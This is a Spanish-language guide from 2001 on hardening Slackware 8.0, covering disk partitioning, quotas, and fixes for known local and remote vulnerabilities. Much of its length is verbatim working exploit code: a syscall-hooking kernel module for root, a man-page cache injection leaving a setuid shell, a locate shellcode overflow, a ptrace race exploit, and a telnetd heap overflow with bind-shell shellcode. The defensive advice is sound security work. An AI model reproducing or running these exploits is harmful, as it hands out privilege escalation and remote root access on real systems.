------------------------------------------------------------------------------- Hardening Slackware v0.1 (20011215) by pof ------------------------------------------------------------------------------- 0.- Índice ---------- 1.- Introducción 2.- Particiones 3.- Correcciones post-instalación 3.1- Problema con la umask por defecto en kernels < 2.4.6 3.1.2.- Problema de permisos en mods245.tgz 3.2- Vulnerabilidad en 'man' de Slackware 3.3.- Vulnerabilidad en GNU locate 3.4.- Vulnerabilidad en Linux Ptrace/Setuid Exec 3.5.- Vulnerabilidad en netkit-0.17 telnetd daemon 3.6.- Vulnerabilidad en sendmail de Slackware 4.- Montar BIND chrooted y setuid 5.- Sendmail 5.1- SMRSH: Restricted Shell for Sendmail 5.2- Ajustes de configuración n-1.- Otros documentos n.- Licencia Por hacer: ---------- -Securización de Apache -Cambio de permisos por defecto -... 1.- Introducción ================ Este documento intenta ser una guía básica de securización de un sistema basado en Slackware 8.0. Considero que el documento todavía no está acabado y falta mucho por hacer, si quieres ver si hay una versión nueva, la URL "oficial" del documento es la siguiente: http://pof.eSlack.org/hardening-slack/HARDENING_SLACKWARE.txt 2.- Particiones =============== ¿Que tienen que ver las particiones con la seguridad de un sistema? Ahora veremos que particionar correctamente el disco duro puede ahorrarnos un posterior dolor de cabeza. Muchas veces habrás oido que para instalar linux hay que usar dos particiones, una para el sistema y otra para la swap, pero esto no tiene por que ser así, también puedes utilizar más particiones. Imagina que un usuario malicioso te llena el directorio /tmp, si tienes el sistema entero en la misma partición habrá conseguido dejarte sin espacio con las consecuencias que esto trae (no se podrán guardar los logs del sistema por ejemplo!). Veamos que directorios cuelgan de la raiz / en una instalación de Slackware: pau@w0:~$ ls -l / total 1434 drwxr-xr-x 2 root bin 1920 Aug 16 1994 bin/ drwxr-xr-x 2 root root 472 Dec 14 05:17 boot/ drwxr-xr-x 2 root root 48 Oct 6 1997 cdrom/ drwxr-xr-x 10 root root 47464 Dec 15 19:39 dev/ drwxr-xr-x 12 root root 2904 Dec 15 21:34 etc/ drwxr-xr-x 23 root root 576 Feb 25 2001 home/ drwxr-xr-x 3 root root 2392 Dec 8 23:36 lib/ drwxr-xr-x 2 root root 48 Oct 6 1997 mnt/ drwxr-xr-x 4 root root 96 Sep 20 02:49 opt/ dr-xr-xr-x 78 root root 0 Dec 15 20:38 proc/ drwx--x--- 12 root root 656 Dec 14 22:21 root/ drwxr-xr-x 2 root bin 2896 Nov 22 22:04 sbin/ drwxrwxrwt 16 root root 1600 Dec 15 23:33 tmp/ drwxr-xr-x 20 root root 592 Dec 2 02:16 usr/ drwxr-xr-x 15 root root 432 Dec 2 1995 var/ -rw-r--r-- 1 root root 1396901 Oct 28 02:16 vmlinuz pau@w0:~$ Bien, ahora pasemos a analizar cuales són los directorios que se podrían llenar fácilmente, y estos serán los que posteriormente separaremos en particiones. No podemos separar algunos directorios de la raiz, por ejemplo el /etc debe estar ahi ya que contiene ficheros necesarios en el arranque como el /etc/fstab para saber que particiones se van a montar posteriormente o el /etc/inittab que nos indica dónde estan los scripts rc.* que se ejecutan en el arranque. Los directorios que contienen los binarios básicos del sistema son el /bin y el /sbin, éstos tampoco los podemos separar ya que si lo hicieramos no tendriamos acceso a muchos de los comandos que se ejecutan en el arranque, como por ejemplo el comando 'mount' que es llamado desde los rc's para montar las particiones. El /lib contiene librerias dinámicas con las cuales se enlazan muchos de los binarios que hay en /sbin o en /bin, por tanto tampoco podremos separarlo de la raiz (a no ser que hayamos recompilado estáticamente todos los binarios que se utilizan durante el arranque). El /dev es otro directorio que no podemos separar ya que en el se encuentran los dispositivos que utilizamos en el arranque (las otras particiones son ficheros dentro de /dev). El /proc es un sistema de ficheros virtual, que no ocupa espacio y por tanto tampoco tiene sentido separarlo de la partición raiz. Hasta aquí hemos visto todo lo que tiene que colgar de la /, si os fijais todos son directorios a los cuales sólo tiene acceso de escritura el root, por tanto no hay peligro de que se "llenen" si dejamos suficiente espacio para la raiz cuando particionamos, ya que raramente van a aumentar su tamaño una vez instalado el sistema. El directorio /mnt o el /cdrom suelen estar vacios, ya que se usan como punto de montaje para otros dispositivos, por lo tanto no hace falta tampoco separarlos de la raiz. En el directoio /boot almacenamos los kernels binarios que recompilamos, que generalmente no ocupan más de 600k. El /boot puede estar en la raiz o puede estar en una partición separada, aunque como los usuarios no tienen acceso de escritura en él lo podemos dejar tranquilamente en la raiz. El resto de directorios los podemos separar en particiones. Hay que tener en cuenta que sólo podemos hacer 4 particiones primarias, y si queremos hacer más tendremos que crear una particion extendida y hacer particiones lógicas dentro de esa partción. En el directorio /home se guardan los HOMEs de los usuarios, o la raiz del servidor ftp (/home/ftp/) y suele ser el que más crece de todos, por ello deberemos montarlo sobre una particion bastante grande en función del espacio que dispongamos en nuestro disco duro. El directorio /usr es un caso un poco especial, sobre él se instalan la mayoría de programas y aplicaciones que instalamos en forma de paquete, y contiene el directorio /usr/local en el que se instalan los programas que compilamos en la máquina local, por tanto es bueno crear una partición para /usr y otra para /usr/local, aunque lo podemos dejar todo en una si no queremos hacer tantas particiones. En principio no és peligroso ya que los usuarios no tienen acceso de escritura sobre él ni ninguno de sus subdirectorios. El directorio /opt se reserva para software 'opcional', en Slackware se instalan las series de paquetes de kde y gnome sobre este directorio, y también es posible que nos encontremos con alguna otra aplicación que se instale ahí y no forme parte de Slackware (por ejemplo StarOffice o JDK de IBM). Podemos hacerle una partición a parte o por ejemplo usar la misma que hemos hecho para el /usr linkando el /opt a /usr/opt. El directorio /var es un directorio que puede variar muy fácilmente de tamaño. El mail de los usuarios está almacenado ahí, también los logs del sistema o la cola de impresión, por tanto debemos dejar tambien una cantidad de espacio considerable a la partición que dediquemos a /var. Hay que ir con cuidado por que se podría llenar rápidamente ya que los usuarios pueden escribir en él de forma directa (/var/tmp) o incluso llegar a llenarlo sin tener acceso shell a la máquina (correo, logs, etc...). El directorio /tmp debe estar también en una partición separada, ya que cualquier usuario puede llenarlo fácilmente al tener permisos de escritura sobre él. Y por último, el directorio /root ¿por qué es conveniente montarlo en una partición separda? Imaginemos (*dios no lo quiera*) que alguien consigue ilegalmente acceso de root a la máquina. Si sólo montamos la particion de /root cuando el root entra en el sistema y la desmontamos cuando el root sale, el atacante se encontrará el directorio del root vacio y no le dará más importáncia. Evidentemente si es root podrá montarlo, pero antes se le tiene que ocurrir que el directorio no está montado. Si ponemos la partición de root la última, es dificil que el atacante se de cuenta si no hace un fdisk. Para ver un poco más claro, pongo como ejemplo la forma en que tengo montadas las particiones en mi máquina: pau@s0:/$ df -h Filesystem Size Used Avail Use% Mounted on /dev/hda1 191M 74M 117M 39% / /dev/hda2 2.8G 796M 2.0G 28% /usr /dev/hda4 31G 20G 11G 63% /home /dev/hda5 2.8G 519M 2.2G 19% /var /dev/hda7 289M 40M 249M 14% /tmp /dev/hda8 289M 148M 141M 51% /root pau@s0:/$ cat /etc/fstab /dev/hda6 swap swap defaults 0 0 /dev/hda1 / reiserfs defaults 1 1 /dev/hda2 /usr reiserfs defaults 1 1 /dev/hda4 /home reiserfs defaults,usrquota 1 1 /dev/hda5 /var reiserfs defaults,usrquota 1 1 /dev/hda7 /tmp reiserfs defaults,usrquota 1 1 none /dev/pts devpts gid=5,mode=620 0 0 none /proc proc defaults 0 0 pau@s0:/$ Fíjate que las particiones en las que los usuarios pueden escribir tienen el parámetro 'usrquota' en el fstab, así puedo asignar una quota máxima de espacio en cada partición para cada usuario evitando que la partición se llene. Otra cosa a tener en cuenta es que la partición del root (/dev/hda8) no aparece en el fstab, ya que sólo la monto cuando me logueo como root. 3.- Correcciones post-instalación ================================= Hay varios problemas de seguridad en la instalación por defecto de Slackware 8 'out of the box' como se suele decir. Ahora paso a nombrar los fallos conocidos hasta el momento de escribir este documento y la forma de solucionarlos. 3.1- Problema con la umask por defecto en kernels < 2.4.6 --------------------------------------------------------- La umask es la máscara de permisos para la creación de ficheros. Con el comando umask podemos variar los permisos con los que por defecto se crearán los nuevos ficheros. Slackware 8 viene con la posibilidad de instalar sobre 2.2.19 o 2.4.5, si instalamos 2.2.19 no estaremos afectados, pero si instalamos 2.4.5 sí. El problema aparece en los kernels inferiores a 2.4.6 donde no está establecido el valor de la umask por defecto y se toma como valor 0000. Como en los scripts de arranque no se setea la umask se asume la que pone el kernel por lo que los ficheros creados A PARTIR DEL PRIMER ARRANQUE tienen permisos 777 (lectura, escritura y ejecución para todo el mundo). Si ya tienes instalada tu slackware comprueba los permisos de los ficheros que se crean después del arranque: # find / -type f -perm 777 2>/dev/null Veras que tienes mal los permisos de ficheros creados dentro de /var/run o el /etc/random-seed, etc... Para solucionar el problema hay que linkar el /sbin/initscript-sample a /sbin/initscript o setear la umask en el /etc/rc.d/rc.S. Exploit incluido: --- cut here --- Submitted by : Josh (josh@pulltheplug.com), lockdown (lockdown@lockeddown.net) on July 16th, 2001 Vulnerability : /lib/modules/2.4.5/modules.dep Tested On : Slackware 8.0. 2.4.5 Local : Yes Remote : No Temporary Fix : umask 022 at the top of all your startup scripts Target : root Big thanks to : slider, lamagra, zen-parse Greets to : alpha, fr3n3tic, omega, eazyass, remmy, RedPen, banned-it, cryptix, s0ttle, xphantom, qtip, tirancy, Loki, falcon-networks.com. The 2.4.x kernels starting with 2.4.3 (i think) have, after load, left a umask of 0000. This forces any files created in the bootup scripts, without the command `umask 022` issued to be world writeable. In slackware, files include /var/run/utmp and /var/run/gpm.pid. This same vulnerability is responsible for creating /lib/modules/`uname -r`/modules.dep world writeable. With this file world writeable, all an intruder need do is put something like the following in /lib/modules/`uname -r`/modules.dep assuming the system's startup scripts modprobe lp: /lib/modules/2.4.5/kernel/drivers/char/lp.o: /tmp/alarm.o /tmp/alarm.o: where the alarm.o module is: #include #include #include #include #include #include #include #include #include #include #include #include #include extern void* sys_call_table[]; unsigned int (*old_alarm) (unsigned int seconds); unsigned int hacked_alarm (unsigned int seconds); unsigned int hacked_alarm(unsigned int seconds) { if(seconds == 454) { current->uid = 0; current->euid = 0; current->gid = 0; current->egid = 0; return 0; } return old_alarm(seconds); } int init_module(void) { old_alarm=sys_call_table[SYS_alarm]; sys_call_table[SYS_alarm] = hacked_alarm; return 0; } void cleanup_module(void) { sys_call_table[SYS_alarm] = old_alarm; } make a client: #include #include int main(void) { alarm(454); execl("/bin/sh", "sh", NULL); } which will, when the module is loaded, execute a shell as root. And of course with /var/run/utmp writeable, users can delete or in other ways manipulate their logins as they appear in w/who/finger/getlogin(), etc. --- cut here --- 3.1.2.- Problema de permisos en mods245.tgz ------------------------------------------- Debido al bug de la umask, el paquete mods245.tgz de la serie a1 en Slackware 8 que contiene los módulos del kernel 2.4.5 tiene varios ficheros con permisos de escritura para todo el mundo. Para solucionarlo basta con ejecutar el siguiente comando: # chmod 644 /lib/modules/2.4.5/modules.* 3.2- Vulnerabilidad en 'man' de Slackware ----------------------------------------- Slackware 8.0 tienen los permisos de /var/man/cat* puestos a 1777, esto permite a un usuario local crear ficheros en el directorio usado para el caché de las páginas man formateadas. Es posible que un usuario cree un fichero de caché que contenga código malicioso causando la ejecución de codigo arbitrario cuando otro usuario (o el root!) vea la página man correspondiente al fichero de caché. Los directorios /var/man/cat* se utilizan para guardar una copia de las páginas man correctamente formateadas una vez se ha visualizado por primera vez, así si se vuelve a hacer un man del mismo comando no habrá que formatearlas de nuevo. Esto tenía sentido hace años, cuando formatear una página man en un 386 tardaba un minuto, pero con los procesadores que utilizamos ahora se puede omitir la caché de las páginas man formateadas. Para solucionar el problema basta con cambiar los permisos de los directorios /var/man/cat* para que los usuarios no puedan escribir en el directorio de la caché. Exploit incluido: --- cut here --- Submitted by : Josh (josh@pulltheplug.com), lockdown (lockdown@lockeddown.net) zen-parse (zen-parse@gmx.net) Vulnerability : /usr/bin/man Tested On : Slackware 8.0 and before. Local : Yes Remote : No Temporary Fix : chmod 700 /var/man/cat* Target : root or any other user that uses man Greets to : alpha, fr3n3tic, omega, eazyass, remmy, RedPen, banned-it, slider, cryptix, s0ttle, xphantom, qtip, Sultrix, Defiance, Insane, rusko, falcon-networks.com. See also : http://www.securityfocus.com/vdb/?id=2815 Slackware 8.0 and previous issues of Slackware are released with /var/man/cat*/ chmod 1777: drwxrwxrwt 2 root root 4096 Jul 11 11:03 cat*/ Since these directories are world writeable we can create symlinks there like so: `ln -s "/usr/man/man7/man.7.gz;cd;cd ..;cd ..;cd ..;cd ..;cd tmp;export PATH=. ;script;man.7" /var/man/cat7/man.7.gz` When `/usr/bin/man man` is executed by root, it will create /var/man/cat7/man.1.gz. The symlink forces it to create a file in /usr/man/man7 named: "/usr/man/man7/man.7.gz;cd;cd ..;cd ..;cd ..;cd ..;cd tmp;exportPATH=.; script;man.7.gz." /usr/bin/man will then execute /tmp/script which contains: #include #include #include #include #include #include int main() { FILE *fil; mode_t perm = 06711; if(!getuid()) { fil = fopen("/tmp/bleh.c","w"); fprintf(fil,"%s\n","#include "); fprintf(fil,"%s\n","#include "); fprintf(fil,"%s\n","int main() {"); fprintf(fil,"%s\n","setreuid(0,0);setregid(0,0);"); fprintf(fil,"%s\n","execl(\"/bin/su\",\"su\",NULL);"); fprintf(fil,"%s\n","return 0; }"); fclose(fil); system("/usr/bin/gcc -o /tmp/bleh /tmp/bleh.c"); unlink("/tmp/bleh.c"); chmod("/tmp/bleh", perm); } execl("/usr/bin/man","man","/usr/man/man7/man.7.gz",NULL); return 0; } With the above code compiled in /tmp/script, if root were to run `man man`, a suid shell would be left in /tmp/bleh. --- cut here --- 3.3.- Vulnerabilidad en GNU locate ---------------------------------- Una vulnerabilidad en GNU locate permite a un atacante forzar la ejecución de código arbitrario cuando un usuario utilice el comando locate, incluido en el paquete findutils.tgz de Slackware 8. Para solucionar el problema instalar slocate (http://www.geekreview.org/slocate) y eliminar el crontab del usuario nobody. Exploit incluido: --- cut here --- Submitted by : Josh (josh@viper.falcon-networks.com), lockdown (lockdown@lockeddown.net), zen-parse (zen-parse@gmx.net) Vulnerability : /usr/bin/locate (findutils-4.1 and before) Tested On : Slackware 8.0, Slackware 7.1 Local : Yes Remote : No Fix : Update to slocate Target : root or any other user that runs locate Requires : UID nobody Greets to : alpha, fr3n3tic, omega, eazyass, Remmy, RedPen, banned-it, slider, cryptix, s0ttle, xphantom, qtip, tirancy, Defiance, KraZee, synexic, Insane, rusko, falcon-networks.com, mp3.com/cosv. Other Stuff : We all (individually) need jobs. E-mail the contact people with [WE HAVE A JOB FOR YOU] in the subject. In slackware, and possibly other distributions, it is possible to modify the locate database if one were to obtain UID nobody. This allows locate to act as a sort of 'trojan' having anyone who executes it unknowingly execute potentially malicious code. It works by taking advantage of the fact locate accepts old format databases. LOCATEDB_OLD_ESCAPE (char 30) is followed by an offset, stored in a signed integer, for how many characters to add to the current character pointer in the path. It doesn't perform any sanity checking of the input. This exploit tells it to move the pointer back a long way, back past the beginning of the string, all the way to the GOT address for exit() which then gets the address of the shellcode added, and the program then runs out of database and executes our code. There is also probably a similar vulnerability in the new format. P.S. dies: If you see this e-mail josh@viper.falcon-networks.com #include char shellcode[] = "\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46" "\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80" "\xe8\xe3\xff\xff\xff/tmp/xx"; char putshell[] = "\x14\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c" "\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96"; int main(void) { int i; int z0=0; int addr=0x0804a970; int z1=0; int addr2=-626; int z2=0; int addr3=addr+6; printf("%s", &addr); printf("%s", &addr3); printf("%s",shellcode); fflush(stdout); for(i=46;i<256;i++) putchar('A'); printf("%s", putshell); fflush(stdout); putchar(0); putchar(30); printf("%s", &addr2); printf("\x82\x83"); fflush(stdout); } --- cut here --- 3.4.- Vulnerabilidad en Linux Ptrace/Setuid Exec ------------------------------------------------ Rafal Wojtczuk encontró dos vulnerabilidades presentes en versiones anteriores a la 2.2.19 (incluida) y 2.4.9 (incluida) mediante las cuales es posible obtener privilegios de root. Slackware 8 viene con kernel 2.2.19 y kernel 2.4.5 que son vulnerables a este fallo. Para solucionar el problema basta con actualizar el kernel a la versión 2.2.20 ó 2.4.12. Exploit incluido: --- cut here (ptrace-exp.c) --- /* by Nergal */ #include #include #include #include void ex_passwd(int fd) { char z; if (read(fd, &z, 1) <= 0) { perror("read:"); exit(1); } execl("/usr/bin/passwd", "passwd", 0); perror("execl"); exit(1); } void insert(int pid) { char buf[100]; char *ptr = buf; sprintf(buf, "exec ./insert_shellcode %i\n", pid); while (*ptr && !ioctl(0, TIOCSTI, ptr++)); } main(int argc, char **argv) { int res, fifo; int status; int pid, n; int pipa[2]; char buf[1024]; pipe(pipa); switch (pid = fork()) { case -1: perror("fork"); exit(1); case 0: close(pipa[1]); ex_passwd(pipa[0]); default:; } res = ptrace(PTRACE_ATTACH, pid, 0, 0); if (res) { perror("attach"); exit(1); } res = waitpid(-1, &status, 0); if (res == -1) { perror("waitpid"); exit(1); } res = ptrace(PTRACE_CONT, pid, 0, 0); if (res) { perror("cont"); exit(1); } fprintf(stderr, "attached\n"); switch (fork()) { case -1: perror("fork"); exit(1); case 0: close(pipa[1]); sleep(1); insert(pid); do { n = read(pipa[0], buf, sizeof(buf)); } while (n > 0); if (n < 0) perror("read"); exit(0); default:; } close(pipa[0]); dup2(pipa[1], 2); close(pipa[1]); /* Decrystallizing reason */ setenv("LD_DEBUG", "libs", 1); /* With strength I burn */ execl("/usr/bin/newgrp", "newgrp", 0); } --- cut here --- --- cut here (insert_shellcode.c) --- /* by Nergal */ #include #include struct user_regs_struct { long ebx, ecx, edx, esi, edi, ebp, eax; unsigned short ds, __ds, es, __es; unsigned short fs, __fs, gs, __gs; long orig_eax, eip; unsigned short cs, __cs; long eflags, esp; unsigned short ss, __ss; }; /* spiritual black dimension */ char hellcode[] = "\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80" "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; #define ADDR 0x00125000 main(int argc, char **argv) { int status; int i, wpid, pid = atoi(argv[1]); struct user_regs_struct regs; if (ptrace(PTRACE_GETREGS, pid, 0, ®s)) { perror("PTRACE_GETREGS"); exit(0); } regs.eip = ADDR; if (ptrace(PTRACE_SETREGS, pid, 0, ®s)) exit(0); for (i = 0; i <= strlen(hellcode) + 5; i += 4) ptrace(PTRACE_POKETEXT, pid, ADDR + i, *(unsigned int *) (hellcode + i)); // kill (pid, SIGSTOP); if (ptrace(PTRACE_DETACH, pid, 0, 0)) exit(0); close(2); do { wpid = waitpid(-1, &status, 0); if (wpid == -1) { perror("waitpid"); exit(1); } } while (wpid != pid); } --- cut here --- Para explotar la vulnerabilidad del kernel se necesita un binario setuid root que ejecute un binario definido por el usuario (o una shell). El exploit utiliza /usr/bin/newgrp que funciona en la mayoría de distribuciones, pero en Slackware los campos de passwords de /etc/group están vacios y newgrp pide un password. Para explotar la vulnerabilidad en Slackware se puede usar el comando 'su', ya que está compilado sin soporte PAM y ejecuta una shell de usuario. 3.5.- Vulnerabilidad en netkit-0.17 telnetd daemon -------------------------------------------------- El demonio de telnet netkit-0.17 que usa Slackware contiene un desbordamiento de buffer que puede ser explotado de forma remota para conseguir acceso de root. Están disponibles los paquetes actualizados para Slackware 8.0 y 7.1 en: ftp.slackware.com/pub/slackware/slackware-8.0/patches/packages/tcpip1.tgz ftp.slackware.com/pub/slackware/slackware-8.0/patches/patches/telnetd.tgz ftp.slackware.com/pub/slackware/slackware-7.1/patches/packages/tcpip1.tgz ftp.slackware.com/pub/slackware/slackware-7.1/patches/packages/telnetd.tgz Exploit incluido: --- cut here (zp-exp-telnetd.c) --- #include #include #include #include #include #include #include /********************************************************************* Proof of concept netkit-0.17-7 local root exploit. Exploits buffer overflow in the AYT handling of in.telnetd, due to bad logic in the handling of snprintf(), and TESO advisory details were enough to allow me to put controlable addresses in arbitary heap locations. Heap based exploit. Overflow allows rewriting of some heap data, which allowed me to put a new heap structure in the input buffer, which let me do whatever I want. 'traceroute exploit story - By Dvorak, Synnergy Networks' was very helpful. Also malloc.c was good. *********************************************************************/ /* Notes about exploit 1) RedHat 7.0, exploiting localhost 2) hostname is clarity.local 3) It probably won't work without at least a different setting for the --size option, and probably the --name option as well. The --name arguemnt is the hostname part of the string that gets returned by the AYT command, which may be different to the name of the address you are connecting to.. 4) There are a lot of things that use the heap, making the size depend on alot of factors. 5) You will might need to change some (or all) of the offsets. This program does allow you to brute force, if the hostname returned by the AYT command is not a multiple of 3 letters long. It is also possibly (at least according to some quick testing I did) exploitable on some (all?) servers with names that are multiples of three letters long, using the Abort Output command to add 2 characters to the output length, and exploit the heap in a similar manner to this method. (You can only directly put user controlable characters in 2 out of 3 locations (ie: no AO will give you a multiple of 3 bytes on the heap, AO will give you 2 more than a multiple of 3 bytes) with controllable characters, but when you count the null added by the netoprintf(), and use 0 as an option to a do or will, you can sometimes create valid chunks that point to locations you can control. I have only tested this method with a simulation, but it seems it would probably work with the telnetd as well. I will look into it when I have time. Maybe.) . . _ _ _ _ . . _ _ _ . . |_ _|_ _|_ _ . / / |\/| |_| _| | | ||\/| / | | ||_ | | | | | | |_|. / / | | | _|.|_ |_|| | / |_ |_| _| \/ | *********************************************************************/ #define SERVER_PORT 23 #define ENV 18628 int offset12[] = { // netibuf[343]->the chunk start. -4, 0xaa, -5, 0xbb, -6, 0xcc, -7, 0x10, -9, 0xdd, -10, 0x68, -12, 0xee, -13, 0x88, -14, 0x99, 0, 0x00 }; int offset3[]={ -1,0x00, 0,0 }; int *offsets=offset12; int dalen = 0; int big; int small; int mipl = 0; int ninbufoffset; char spinchars[] = "/|\\-"; char tosend[] = { 0xff, 0xfd, 0x03, 0xff, 0xfb, 0x18, 0xff, 0xfb, 0x1f, 0xff, 0xfb, 0x20, 0xff, 0xfb, 0x21, 0xff, 0xfb, 0x22, 0xff, 0xfb, 0x27, 0xff, 0xfd, 0x05, 0xff, 0xfb, 0x23, 0 }; char lamagra_bind_code[] = // the NOPs are my part... to jump over the modified places, // without me having to take a look to see where they are. // Modified to listen on 7465 == TAGS and work thru TELNET protocol. "\x90\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90" "\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90" "\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90" "\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90" "\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90" "\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8" "\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89" "\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x1d\x29\x89\x4d\xf0" "\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd" "\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9" "\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75" "\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08" "\x8d\x55\x0c\xcd\x80\xe8\xe3" "\xff\xff\xff\xff\xff\xff/bin/sh"; char *shellcode = lamagra_bind_code; int sock; /* fd for socket connection */ FILE *dasock; /* for doing fprint et al */ struct sockaddr_in server; /* the server end of the socket */ struct hostent *hp; /* Return value from gethostbyname() */ char buf[40960]; /* Received data buffer */ char sock_buf[64 * 1024]; /* Received data buffer */ char daenv[10000]; char oldenv[10000]; extern int errno; read_sock () { /* Prepare our buffer for a read and then read. */ bzero (buf, sizeof (buf)); if (read (sock, buf, sizeof (buf)) < 0) if (errno != 11) { perror ("! Socket read"); exit (1); } } sock_setup () { int flags; int yes = 1; if ((sock = socket (AF_INET, SOCK_STREAM, 0)) < 0) { perror ("! Error making the socket\n"); exit (1); } bzero ((char *) &server, sizeof (server)); server.sin_family = AF_INET; if ((hp = gethostbyname ("localhost")) == NULL) { fprintf (stderr, "! localhost unknown??\n"); exit (1); } bcopy (hp->h_addr, &server.sin_addr, hp->h_length); server.sin_port = htons ((u_short) SERVER_PORT); /* Try to connect */ if (connect (sock, (struct sockaddr *) &server, sizeof (server)) < 0) { perror ("! Error connecting\n"); exit (1); } dasock = (FILE *) fdopen (sock, "w+"); if (!dasock) { perror ("! Bad fdopen happened"); exit (1); } /**************************************** Thanks to xphantom for the next 4 lines. (which i don't need anymore ;? ) flags = fcntl(sock, F_GETFL, 0); flags |= O_NONBLOCK; fcntl(sock, F_SETFL, flags); if (setsockopt(sock, SOL_SOCKET, SO_OOBINLINE, &yes,sizeof(yes)) == -1) { perror("setsockopt"); exit(1); } *****************************************/ setbuffer (dasock, sock_buf, 64 * 1024); } do_iac (char c) { putc (0xff, dasock); putc (c, dasock); } do_ayt () { do_iac (0xf6); // sets buffer length to 2 } doo (char c) { putc (255, dasock); putc (253, dasock); putc (c, dasock); } will (char c) { putc (255, dasock); putc (251, dasock); putc (c, dasock); } wont (char c) { putc (255, dasock); putc (252, dasock); putc (c, dasock); } void solve (int remain) { int x, y; big = -100; small = -100; for (x = 0; x < 120; x++) for (y = 2; y < 80; y++) { if (((y * 3) + (x * dalen)) == remain) { big = x; small = y; return; } } fprintf (stderr, "I still can't work it out.\n\n"); exit (1); } push_clean () { int l; for (l = 0; l < 8192; l++) putc (0, dasock); } push_heap_attack () { int l; int shaddr = 0x805c970; int overwrite = 0x08051e78; // fopen int tosend[] = { 0x805670eb, 0x8, shaddr, shaddr, 0x0, 0x0, overwrite - 12, shaddr }; fwrite (shellcode, strlen (shellcode), 1, dasock); for (l = strlen (shellcode); l < 289 + ninbufoffset; l++) putc (0, dasock); fwrite (tosend, 8, 4, dasock); fflush (dasock); } fill2 (int count, char with, int real) { int l; int first, rest, find; first = (int) (count / dalen) - 10; rest = (int) (((count) % dalen) / 3) * 3; find = count - ((first * dalen) + (rest * 3)); solve (find); first += big; rest += small; for (l = 0; l < first; l++) do_ayt (); for (l = 0; l < rest; l++) will (with); if (real == 1) { push_clean (); } } fill (int count, char with) { fprintf (stderr, " o Length %d char %d (%02x)\n", count, with & 0xff, with & 0xff); fflush (stderr); fill2 (8257, 'z', 0); // first part fill2 (count - 8257, with, 1); // do it for real } doenv (char *danam, char *daval) { sprintf (daenv, "%c%c%c%c%c%s%c%s%c%c", /* IAC SB N-E IS VAR name VAL value IAC SE */ 255, 250, 39, 0, 0, danam, 1, daval, 255, 240); fwrite (daenv, 512, 1, dasock); fflush (dasock); } main (int argc, char *argv[]) { int br, l, dosleep = 0; int percent = 0; char spin; unsigned char w; bzero (oldenv, sizeof (oldenv)); argv++; dalen = strlen ("clarity.local"); while (argv[0]) { if (!strcmp (argv[0], "--pause")) dosleep = 1; if (!strcmp (argv[0], "--size") && argv[1]) { mipl = atoi (argv[1]); argv++; } if (!strcmp (argv[0], "--name") && argv[1]) { dalen = strlen (argv[1]); argv++; } argv++; } fprintf (stderr, " o MiPl of %4d o NameLen of %2d\n", mipl, dalen); if(dalen%3==0) { offsets=offset3; } else { ninbufoffset = mipl % 8192; offsets[11] += 32 * (mipl - ninbufoffset) / 8192; if (offsets[11] > 255) { fprintf (stderr, " ! MiPl too big.", mipl, dalen); exit (1); } } sock_setup (); if (dosleep) { system ("sleep 1;ps aux|grep in.telnetd|grep -v grep"); sleep (8); } dalen += strlen ("\r\n[ : yes]\r\n"); fprintf (stderr, "o Sending IAC WILL NEW-ENVIRONMENT...\n"); fflush (stderr); doo (5); will (39); fflush (dasock); read_sock (); fprintf (stderr, "o Setting up environment vars...\n"); fflush (stderr); will (1); push_clean (); doenv ("USER", "zen-parse"); doenv ("TERM", "zen-parse"); will (39); fflush (dasock); fprintf (stderr, "o Doing overflows...\n"); fflush (stderr); for (br = 0; (offsets[br] || offsets[br + 1]); br += 2) { fill (mipl + ENV + offsets[br], offsets[br + 1]); fflush (dasock); usleep (100000); read_sock (); } fprintf (stderr, "o Overflows done...\n"); fflush (stderr); push_clean (); fprintf (stderr, "o Sending IACs to start login process...\n"); fflush (stderr); wont (24); wont (32); wont (35); fprintf (dasock, "%s", tosend); will (1); push_heap_attack (); sleep (1); fprintf (stderr, "o Attempting to lauch netcat to localhost rootshell\n"); execlp ("nc", "nc", "-v", "localhost", "7465", 0); fprintf (stderr, "o If the exploit worked, there should be an open port on 7465.\n"); fprintf (stderr, " It is a root shell. You should probably close it.\n"); fflush (stderr); sleep (60); exit (0); } /******************************************************************** Thanks to xphantom for the help with getting the some of the socket stuff working properly. Erm. I didn't end up using that method, but thanks anyway. ;] This code is Copyright (c) 2001 zen-parse Use and distribution is unlimited, provided the code is not modified. If the code, including any of text is modified, that version may not be redistrubuted. ********************************************************************/ /* ObPlug 4 My Band: gone platinum, Chapel of Stilled voices, from */ /******************************************************************** Remember to visit Chapel of Stilled Voices: _ _ _ . . |_ _|_ _|_ _ . / /. . _ _| _ 